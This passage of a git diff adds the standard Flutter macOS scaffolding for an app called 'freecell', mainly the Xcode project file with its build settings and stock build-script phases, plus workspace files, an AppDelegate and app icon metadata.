33CC10F52044A3C60003C045 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.xib; name = Base; path = Base.lproj/MainMenu.xib; sourceTree = ""; }; + 33CC10F72044A3C60003C045 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; name = Info.plist; path = Runner/Info.plist; sourceTree = ""; }; + 33CC11122044BFA00003C045 /* MainFlutterWindow.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MainFlutterWindow.swift; sourceTree = ""; }; + 33CEB47222A05771004F2AC0 /* Flutter-Debug.xcconfig */ = {isa = PBXFileReference; lastKnownFileType = text.xcconfig; path = "Flutter-Debug.xcconfig"; sourceTree = ""; }; + 33CEB47422A05771004F2AC0 /* Flutter-Release.xcconfig */ = {isa = PBXFileReference; lastKnownFileType = text.xcconfig; path = "Flutter-Release.xcconfig"; sourceTree = ""; }; + 33CEB47722A0578A004F2AC0 /* Flutter-Generated.xcconfig */ = {isa = PBXFileReference; lastKnownFileType = text.xcconfig; name = "Flutter-Generated.xcconfig"; path = "ephemeral/Flutter-Generated.xcconfig"; sourceTree = ""; }; + 33E51913231747F40026EE4D /* DebugProfile.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = DebugProfile.entitlements; sourceTree = ""; }; + 33E51914231749380026EE4D /* Release.entitlements */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.entitlements; path = Release.entitlements; sourceTree = ""; }; + 33E5194F232828860026EE4D /* AppInfo.xcconfig */ = {isa = PBXFileReference; lastKnownFileType = text.xcconfig; path = AppInfo.xcconfig; sourceTree = ""; }; + 7AFA3C8E1D35360C0083082E /* Release.xcconfig */ = {isa = PBXFileReference; lastKnownFileType = text.xcconfig; path = Release.xcconfig; sourceTree = ""; }; + 9740EEB21CF90195004384FC /* Debug.xcconfig */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.xcconfig; path = Debug.xcconfig; sourceTree = ""; }; +/* End PBXFileReference section */ + +/* Begin PBXFrameworksBuildPhase section */ + 331C80D2294CF70F00263BE5 /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 33CC10EA2044A3C60003C045 /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + 331C80D6294CF71000263BE5 /* RunnerTests */ = { + isa = PBXGroup; + children = ( + 331C80D7294CF71000263BE5 /* RunnerTests.swift */, + ); + path = RunnerTests; + sourceTree = ""; + }; + 33BA886A226E78AF003329D5 /* Configs */ = { + isa = PBXGroup; + children = ( + 33E5194F232828860026EE4D /* AppInfo.xcconfig */, + 9740EEB21CF90195004384FC /* Debug.xcconfig */, + 7AFA3C8E1D35360C0083082E /* Release.xcconfig */, + 333000ED22D3DE5D00554162 /* Warnings.xcconfig */, + ); + path = Configs; + sourceTree = ""; + }; + 33CC10E42044A3C60003C045 = { + isa = PBXGroup; + children = ( + 33FAB671232836740065AC1E /* Runner */, + 33CEB47122A05771004F2AC0 /* Flutter */, + 331C80D6294CF71000263BE5 /* RunnerTests */, + 33CC10EE2044A3C60003C045 /* Products */, + D73912EC22F37F3D000D13A0 /* Frameworks */, + ); + sourceTree = ""; + }; + 33CC10EE2044A3C60003C045 /* Products */ = { + isa = PBXGroup; + children = ( + 33CC10ED2044A3C60003C045 /* freecell.app */, + 331C80D5294CF71000263BE5 /* RunnerTests.xctest */, + ); + name = Products; + sourceTree = ""; + }; + 33CC11242044D66E0003C045 /* Resources */ = { + isa = PBXGroup; + children = ( + 33CC10F22044A3C60003C045 /* Assets.xcassets */, + 33CC10F42044A3C60003C045 /* MainMenu.xib */, + 33CC10F72044A3C60003C045 /* Info.plist */, + ); + name = Resources; + path = ..; + sourceTree = ""; + }; + 33CEB47122A05771004F2AC0 /* Flutter */ = { + isa = PBXGroup; + children = ( + 335BBD1A22A9A15E00E9071D /* GeneratedPluginRegistrant.swift */, + 33CEB47222A05771004F2AC0 /* Flutter-Debug.xcconfig */, + 33CEB47422A05771004F2AC0 /* Flutter-Release.xcconfig */, + 33CEB47722A0578A004F2AC0 /* Flutter-Generated.xcconfig */, + ); + path = Flutter; + sourceTree = ""; + }; + 33FAB671232836740065AC1E /* Runner */ = { + isa = PBXGroup; + children = ( + 33CC10F02044A3C60003C045 /* AppDelegate.swift */, + 33CC11122044BFA00003C045 /* MainFlutterWindow.swift */, + 33E51913231747F40026EE4D /* DebugProfile.entitlements */, + 33E51914231749380026EE4D /* Release.entitlements */, + 33CC11242044D66E0003C045 /* Resources */, + 33BA886A226E78AF003329D5 /* Configs */, + ); + path = Runner; + sourceTree = ""; + }; + D73912EC22F37F3D000D13A0 /* Frameworks */ = { + isa = PBXGroup; + children = ( + ); + name = Frameworks; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + 331C80D4294CF70F00263BE5 /* RunnerTests */ = { + isa = PBXNativeTarget; + buildConfigurationList = 331C80DE294CF71000263BE5 /* Build configuration list for PBXNativeTarget "RunnerTests" */; + buildPhases = ( + 331C80D1294CF70F00263BE5 /* Sources */, + 331C80D2294CF70F00263BE5 /* Frameworks */, + 331C80D3294CF70F00263BE5 /* Resources */, + ); + buildRules = ( + ); + dependencies = ( + 331C80DA294CF71000263BE5 /* PBXTargetDependency */, + ); + name = RunnerTests; + productName = RunnerTests; + productReference = 331C80D5294CF71000263BE5 /* RunnerTests.xctest */; + productType = "com.apple.product-type.bundle.unit-test"; + }; + 33CC10EC2044A3C60003C045 /* Runner */ = { + isa = PBXNativeTarget; + buildConfigurationList = 33CC10FB2044A3C60003C045 /* Build configuration list for PBXNativeTarget "Runner" */; + buildPhases = ( + 33CC10E92044A3C60003C045 /* Sources */, + 33CC10EA2044A3C60003C045 /* Frameworks */, + 33CC10EB2044A3C60003C045 /* Resources */, + 33CC110E2044A8840003C045 /* Bundle Framework */, + 3399D490228B24CF009A79C7 /* ShellScript */, + ); + buildRules = ( + ); + dependencies = ( + 33CC11202044C79F0003C045 /* PBXTargetDependency */, + ); + name = Runner; + productName = Runner; + productReference = 33CC10ED2044A3C60003C045 /* freecell.app */; + productType = "com.apple.product-type.application"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + 33CC10E52044A3C60003C045 /* Project object */ = { + isa = PBXProject; + attributes = { + BuildIndependentTargetsInParallel = YES; + LastSwiftUpdateCheck = 0920; + LastUpgradeCheck = 1510; + ORGANIZATIONNAME = ""; + TargetAttributes = { + 331C80D4294CF70F00263BE5 = { + CreatedOnToolsVersion = 14.0; + TestTargetID = 33CC10EC2044A3C60003C045; + }; + 33CC10EC2044A3C60003C045 = { + CreatedOnToolsVersion = 9.2; + LastSwiftMigration = 1100; + ProvisioningStyle = Automatic; + SystemCapabilities = { + com.apple.Sandbox = { + enabled = 1; + }; + }; + }; + 33CC111A2044C6BA0003C045 = { + CreatedOnToolsVersion = 9.2; + ProvisioningStyle = Manual; + }; + }; + }; + buildConfigurationList = 33CC10E82044A3C60003C045 /* Build configuration list for PBXProject "Runner" */; + compatibilityVersion = "Xcode 9.3"; + developmentRegion = en; + hasScannedForEncodings = 0; + knownRegions = ( + en, + Base, + ); + mainGroup = 33CC10E42044A3C60003C045; + productRefGroup = 33CC10EE2044A3C60003C045 /* Products */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + 33CC10EC2044A3C60003C045 /* Runner */, + 331C80D4294CF70F00263BE5 /* RunnerTests */, + 33CC111A2044C6BA0003C045 /* Flutter Assemble */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXResourcesBuildPhase section */ + 331C80D3294CF70F00263BE5 /* Resources */ = { + isa = PBXResourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 33CC10EB2044A3C60003C045 /* Resources */ = { + isa = PBXResourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 33CC10F32044A3C60003C045 /* Assets.xcassets in Resources */, + 33CC10F62044A3C60003C045 /* MainMenu.xib in Resources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXResourcesBuildPhase section */ + +/* Begin PBXShellScriptBuildPhase section */ + 3399D490228B24CF009A79C7 /* ShellScript */ = { + isa = PBXShellScriptBuildPhase; + alwaysOutOfDate = 1; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + ); + inputPaths = ( + ); + outputFileListPaths = ( + ); + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "echo \"$PRODUCT_NAME.app\" > \"$PROJECT_DIR\"/Flutter/ephemeral/.app_filename && \"$FLUTTER_ROOT\"/packages/flutter_tools/bin/macos_assemble.sh embed\n"; + }; + 33CC111E2044C6BF0003C045 /* ShellScript */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + Flutter/ephemeral/FlutterInputs.xcfilelist, + ); + inputPaths = ( + Flutter/ephemeral/tripwire, + ); + outputFileListPaths = ( + Flutter/ephemeral/FlutterOutputs.xcfilelist, + ); + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "\"$FLUTTER_ROOT\"/packages/flutter_tools/bin/macos_assemble.sh && touch Flutter/ephemeral/tripwire"; + }; +/* End PBXShellScriptBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + 331C80D1294CF70F00263BE5 /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 331C80D8294CF71000263BE5 /* RunnerTests.swift in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 33CC10E92044A3C60003C045 /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 33CC11132044BFA00003C045 /* MainFlutterWindow.swift in Sources */, + 33CC10F12044A3C60003C045 /* AppDelegate.swift in Sources */, + 335BBD1B22A9A15E00E9071D /* GeneratedPluginRegistrant.swift in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin PBXTargetDependency section */ + 331C80DA294CF71000263BE5 /* PBXTargetDependency */ = { + isa = PBXTargetDependency; + target = 33CC10EC2044A3C60003C045 /* Runner */; + targetProxy = 331C80D9294CF71000263BE5 /* PBXContainerItemProxy */; + }; + 33CC11202044C79F0003C045 /* PBXTargetDependency */ = { + isa = PBXTargetDependency; + target = 33CC111A2044C6BA0003C045 /* Flutter Assemble */; + targetProxy = 33CC111F2044C79F0003C045 /* PBXContainerItemProxy */; + }; +/* End PBXTargetDependency section */ + +/* Begin PBXVariantGroup section */ + 33CC10F42044A3C60003C045 /* MainMenu.xib */ = { + isa = PBXVariantGroup; + children = ( + 33CC10F52044A3C60003C045 /* Base */, + ); + name = MainMenu.xib; + path = Runner; + sourceTree = ""; + }; +/* End PBXVariantGroup section */ + +/* Begin XCBuildConfiguration section */ + 331C80DB294CF71000263BE5 /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + BUNDLE_LOADER = "$(TEST_HOST)"; + CURRENT_PROJECT_VERSION = 1; + GENERATE_INFOPLIST_FILE = YES; + MARKETING_VERSION = 1.0; + PRODUCT_BUNDLE_IDENTIFIER = com.example.freecell.RunnerTests; + PRODUCT_NAME = "$(TARGET_NAME)"; + SWIFT_VERSION = 5.0; + TEST_HOST = "$(BUILT_PRODUCTS_DIR)/freecell.app/$(BUNDLE_EXECUTABLE_FOLDER_PATH)/freecell"; + }; + name = Debug; + }; + 331C80DC294CF71000263BE5 /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + BUNDLE_LOADER = "$(TEST_HOST)"; + CURRENT_PROJECT_VERSION = 1; + GENERATE_INFOPLIST_FILE = YES; + MARKETING_VERSION = 1.0; + PRODUCT_BUNDLE_IDENTIFIER = com.example.freecell.RunnerTests; + PRODUCT_NAME = "$(TARGET_NAME)"; + SWIFT_VERSION = 5.0; + TEST_HOST = "$(BUILT_PRODUCTS_DIR)/freecell.app/$(BUNDLE_EXECUTABLE_FOLDER_PATH)/freecell"; + }; + name = Release; + }; + 331C80DD294CF71000263BE5 /* Profile */ = { + isa = XCBuildConfiguration; + buildSettings = { + BUNDLE_LOADER = "$(TEST_HOST)"; + CURRENT_PROJECT_VERSION = 1; + GENERATE_INFOPLIST_FILE = YES; + MARKETING_VERSION = 1.0; + PRODUCT_BUNDLE_IDENTIFIER = com.example.freecell.RunnerTests; + PRODUCT_NAME = "$(TARGET_NAME)"; + SWIFT_VERSION = 5.0; + TEST_HOST = "$(BUILT_PRODUCTS_DIR)/freecell.app/$(BUNDLE_EXECUTABLE_FOLDER_PATH)/freecell"; + }; + name = Profile; + }; + 338D0CE9231458BD00FA5F75 /* Profile */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = 7AFA3C8E1D35360C0083082E /* Release.xcconfig */; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; + CLANG_CXX_LIBRARY = "libc++"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CODE_SIGN_IDENTITY = "-"; + COPY_PHASE_STRIP = NO; + DEAD_CODE_STRIPPING = YES; + DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; + ENABLE_NS_ASSERTIONS = NO; + ENABLE_STRICT_OBJC_MSGSEND = YES; + ENABLE_USER_SCRIPT_SANDBOXING = NO; + GCC_C_LANGUAGE_STANDARD = gnu11; + GCC_NO_COMMON_BLOCKS = YES; + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + MACOSX_DEPLOYMENT_TARGET = 10.15; + MTL_ENABLE_DEBUG_INFO = NO; + SDKROOT = macosx; + SWIFT_COMPILATION_MODE = wholemodule; + SWIFT_OPTIMIZATION_LEVEL = "-O"; + }; + name = Profile; + }; + 338D0CEA231458BD00FA5F75 /* Profile */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = 33E5194F232828860026EE4D /* AppInfo.xcconfig */; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; + CLANG_ENABLE_MODULES = YES; + CODE_SIGN_ENTITLEMENTS = Runner/DebugProfile.entitlements; + CODE_SIGN_STYLE = Automatic; + COMBINE_HIDPI_IMAGES = YES; + INFOPLIST_FILE = Runner/Info.plist; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/../Frameworks", + ); + PROVISIONING_PROFILE_SPECIFIER = ""; + SWIFT_VERSION = 5.0; + }; + name = Profile; + }; + 338D0CEB231458BD00FA5F75 /* Profile */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_STYLE = Manual; + PRODUCT_NAME = "$(TARGET_NAME)"; + }; + name = Profile; + }; + 33CC10F92044A3C60003C045 /* Debug */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = 9740EEB21CF90195004384FC /* Debug.xcconfig */; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; + CLANG_CXX_LIBRARY = "libc++"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CODE_SIGN_IDENTITY = "-"; + COPY_PHASE_STRIP = NO; + DEAD_CODE_STRIPPING = YES; + DEBUG_INFORMATION_FORMAT = dwarf; + ENABLE_STRICT_OBJC_MSGSEND = YES; + ENABLE_TESTABILITY = YES; + ENABLE_USER_SCRIPT_SANDBOXING = NO; + GCC_C_LANGUAGE_STANDARD = gnu11; + GCC_DYNAMIC_NO_PIC = NO; + GCC_NO_COMMON_BLOCKS = YES; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PREPROCESSOR_DEFINITIONS = ( + "DEBUG=1", + "$(inherited)", + ); + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + MACOSX_DEPLOYMENT_TARGET = 10.15; + MTL_ENABLE_DEBUG_INFO = YES; + ONLY_ACTIVE_ARCH = YES; + SDKROOT = macosx; + SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG; + SWIFT_OPTIMIZATION_LEVEL = "-Onone"; + }; + name = Debug; + }; + 33CC10FA2044A3C60003C045 /* Release */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = 7AFA3C8E1D35360C0083082E /* Release.xcconfig */; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; + CLANG_CXX_LIBRARY = "libc++"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CODE_SIGN_IDENTITY = "-"; + COPY_PHASE_STRIP = NO; + DEAD_CODE_STRIPPING = YES; + DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; + ENABLE_NS_ASSERTIONS = NO; + ENABLE_STRICT_OBJC_MSGSEND = YES; + ENABLE_USER_SCRIPT_SANDBOXING = NO; + GCC_C_LANGUAGE_STANDARD = gnu11; + GCC_NO_COMMON_BLOCKS = YES; + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + MACOSX_DEPLOYMENT_TARGET = 10.15; + MTL_ENABLE_DEBUG_INFO = NO; + SDKROOT = macosx; + SWIFT_COMPILATION_MODE = wholemodule; + SWIFT_OPTIMIZATION_LEVEL = "-O"; + }; + name = Release; + }; + 33CC10FC2044A3C60003C045 /* Debug */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = 33E5194F232828860026EE4D /* AppInfo.xcconfig */; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; + CLANG_ENABLE_MODULES = YES; + CODE_SIGN_ENTITLEMENTS = Runner/DebugProfile.entitlements; + CODE_SIGN_STYLE = Automatic; + COMBINE_HIDPI_IMAGES = YES; + INFOPLIST_FILE = Runner/Info.plist; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/../Frameworks", + ); + PROVISIONING_PROFILE_SPECIFIER = ""; + SWIFT_OPTIMIZATION_LEVEL = "-Onone"; + SWIFT_VERSION = 5.0; + }; + name = Debug; + }; + 33CC10FD2044A3C60003C045 /* Release */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = 33E5194F232828860026EE4D /* AppInfo.xcconfig */; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; + CLANG_ENABLE_MODULES = YES; + CODE_SIGN_ENTITLEMENTS = Runner/Release.entitlements; + CODE_SIGN_STYLE = Automatic; + COMBINE_HIDPI_IMAGES = YES; + INFOPLIST_FILE = Runner/Info.plist; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/../Frameworks", + ); + PROVISIONING_PROFILE_SPECIFIER = ""; + SWIFT_VERSION = 5.0; + }; + name = Release; + }; + 33CC111C2044C6BA0003C045 /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_STYLE = Manual; + PRODUCT_NAME = "$(TARGET_NAME)"; + }; + name = Debug; + }; + 33CC111D2044C6BA0003C045 /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_STYLE = Automatic; + PRODUCT_NAME = "$(TARGET_NAME)"; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + 331C80DE294CF71000263BE5 /* Build configuration list for PBXNativeTarget "RunnerTests" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 331C80DB294CF71000263BE5 /* Debug */, + 331C80DC294CF71000263BE5 /* Release */, + 331C80DD294CF71000263BE5 /* Profile */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 33CC10E82044A3C60003C045 /* Build configuration list for PBXProject "Runner" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 33CC10F92044A3C60003C045 /* Debug */, + 33CC10FA2044A3C60003C045 /* Release */, + 338D0CE9231458BD00FA5F75 /* Profile */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 33CC10FB2044A3C60003C045 /* Build configuration list for PBXNativeTarget "Runner" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 33CC10FC2044A3C60003C045 /* Debug */, + 33CC10FD2044A3C60003C045 /* Release */, + 338D0CEA231458BD00FA5F75 /* Profile */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 33CC111B2044C6BA0003C045 /* Build configuration list for PBXAggregateTarget "Flutter Assemble" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 33CC111C2044C6BA0003C045 /* Debug */, + 33CC111D2044C6BA0003C045 /* Release */, + 338D0CEB231458BD00FA5F75 /* Profile */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; +/* End XCConfigurationList section */ + }; + rootObject = 33CC10E52044A3C60003C045 /* Project object */; +} diff --git a/macos/Runner.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist b/macos/Runner.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist new file mode 100644 index 0000000..fc6bf80 --- /dev/null +++ b/macos/Runner.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist @@ -0,0 +1,8 @@ + + + + + IDEDidComputeMac32BitWarning + + + diff --git a/macos/Runner.xcodeproj/xcshareddata/xcschemes/Runner.xcscheme b/macos/Runner.xcodeproj/xcshareddata/xcschemes/Runner.xcscheme new file mode 100644 index 0000000..c700d34 --- /dev/null +++ b/macos/Runner.xcodeproj/xcshareddata/xcschemes/Runner.xcscheme @@ -0,0 +1,99 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/macos/Runner.xcworkspace/contents.xcworkspacedata b/macos/Runner.xcworkspace/contents.xcworkspacedata new file mode 100644 index 0000000..59c6d39 --- /dev/null +++ b/macos/Runner.xcworkspace/contents.xcworkspacedata @@ -0,0 +1,7 @@ + + + + + diff --git a/macos/Runner.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist b/macos/Runner.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist new file mode 100644 index 0000000..fc6bf80 --- /dev/null +++ b/macos/Runner.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist @@ -0,0 +1,8 @@ + + + + + IDEDidComputeMac32BitWarning + + + diff --git a/macos/Runner/AppDelegate.swift b/macos/Runner/AppDelegate.swift new file mode 100644 index 0000000..c5c474d --- /dev/null +++ b/macos/Runner/AppDelegate.swift @@ -0,0 +1,13 @@ +import Cocoa +import FlutterMacOS + +@main +class AppDelegate: FlutterAppDelegate { + override func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool { + return true + } + + override func applicationSupportsSecureRestorableState(_ app: NSApplication) -> Bool { + return true + } +} diff --git a/macos/Runner/Assets.xcassets/AppIcon.appiconset/Contents.json b/macos/Runner/Assets.xcassets/AppIcon.appiconset/Contents.json new file mode 100644 index 0000000..8d4e7cb --- /dev/null +++ b/macos/Runner/Assets.xcassets/AppIcon.appiconset/Contents.json @@ -0,0 +1,68 @@ +{ + "images" : [ + { + "size" : "16x16", + "idiom" : "mac", + "filename" : "app_icon_16.png", + "scale" : "1x" + }, + { + "size" : "16x16", + "idiom" : "mac", + "filename" : "app_icon_32.png", + "scale" : "2x" + }, + { + "size" : "32x32", + "idiom" : "mac", + "filename" : "app_icon_32.png", + "scale" : "1x" + }, + { + "size" : "32x32", + "idiom" : "mac", + "filename" : "app_icon_64.png", + "scale" : "2x" + }, + { + "size" : "128x128", + "idiom" : "mac", + "filename" : "app_icon_128.png", + "scale" : "1x" + }, + { + "size" : "128x128", + "idiom" : "mac", + "filename" : "app_icon_256.png", + "scale" : "2x" + }, + { + "size" : "256x256", + "idiom" : "mac", + "filename" : "app_icon_256.png", + "scale" : "1x" + }, + { + "size" : "256x256", + "idiom" : "mac", + "filename" : "app_icon_512.png", + "scale" : "2x" + }, + { + "size" : "512x512", + "idiom" : "mac", + "filename" : "app_icon_512.png", + "scale" : "1x" + }, + { + "size" : "512x512", + "idiom" : "mac", + "filename" : "app_icon_1024.png", + "scale" : "2x" + } + ], + "info" : { + "version" : 1, + "author" : "xcode" + } +} diff --git a/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_1024.png b/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_1024.png new file mode 100644 index 0000000..82b6f9d Binary files /dev/null and b/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_1024.png differ diff --git a/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_128.png b/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_128.png new file mode 100644 index 0000000..13b35eb Binary files /dev/null and b/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_128.png differ diff --git a/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_16.png b/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_16.png new file mode 100644 index 0000000..0a3f5fa Binary files /dev/null and b/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_16.png differ diff --git a/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_256.png b/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_256.png new file mode 100644 index 0000000..bdb5722 Binary files /dev/null and b/macos/Runner/Assets.xcassets/AppIcon.appiconset/app_icon_256.png differ diff --git 